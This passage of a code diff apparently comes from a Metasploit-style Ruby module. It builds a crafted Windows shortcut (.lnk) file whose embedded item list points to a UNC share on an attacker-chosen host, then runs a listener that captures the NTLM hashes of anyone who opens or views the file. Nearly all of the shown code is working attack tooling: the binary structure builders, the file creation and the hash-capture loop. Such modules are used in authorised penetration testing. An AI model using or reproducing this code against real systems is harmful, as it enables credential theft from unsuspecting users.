Computer / This PC + # {20D04FE0-3AEA-1069-A2D8-08002B30309D} + field_size_id1 = "\x1f\x50" + first_id = "\xe0\x4f\xd0\x20\xea\x3a\x69\x10\xa2\xd8\x08\x00\x2b\x30\x30\x9d".force_encoding('ASCII-8BIT') + idlist << generate_item_id(field_size_id1 + first_id) + + # Second ItemID - Control Panel (All Tasks) + # {ED7BA470-8E54-465E-825C-99712043E01C} + field_size_id2 = "\x2e\x80" + second_id = "\x20\x20\xec\x21\xea\x3a\x69\x10\xa2\xdd\x08\x00\x2b\x30\x30\x9d".force_encoding('ASCII-8BIT') + idlist << generate_item_id(field_size_id2 + second_id) + + # Custom ItemID - Our UNC path + idlist << generate_item_id(generate_lnk_special(path, name)) + + # TerminalID + idlist << "\x00\x00".force_encoding('ASCII-8BIT') + + # Full IDList with size + [idlist.length].pack('S') + idlist + end + + def generate_extra_data + extra = ''.force_encoding('ASCII-8BIT') + extra << [0x10].pack('L') # BlockSize (4 bytes) + extra << [0xA0000005].pack('L') # SPECIAL_FOLDER_DATABLOCK_SIGNATURE (4 bytes) + extra << [0x24].pack('L') # SpecialFolderID (4 bytes) - Control Panel + extra << [0x28].pack('L') # Offset (4 bytes) + extra << [0x00].pack('L') # TERMINAL_BLOCK (4 bytes) + + extra + end + + def ms_shllink(path, name) + lnk_data = ''.force_encoding('ASCII-8BIT') + lnk_data << generate_shell_link_header + lnk_data << generate_linktarget_idlist(path, name) + lnk_data << generate_extra_data + + lnk_data + end + + def run + app_name = datastore['APPNAME'] + + app_name = "#{Faker::App.name}Application" if app_name.blank? + + start_service + unc_share = datastore['SHARE'] + unc_share = Rex::Text.rand_text_alphanumeric(6) if unc_share.blank? + unc_path = "\\\\#{datastore['SRVHOST']}\\#{unc_share}" + + lnk_data = ms_shllink(unc_path, app_name) + file_create(lnk_data) + print_good("LNK file created: #{datastore['FILENAME']}") + print_status("Listening for hashes on #{datastore['SRVHOST']}:#{datastore['SRVPORT']}") + stime = Time.now.to_f + timeout = datastore['ListenerTimeout'].to_i + loop do + break if timeout > 0 && (stime + timeout < Time.now.to_f) + + Rex::ThreadSafe.sleep(1) + end + end + +end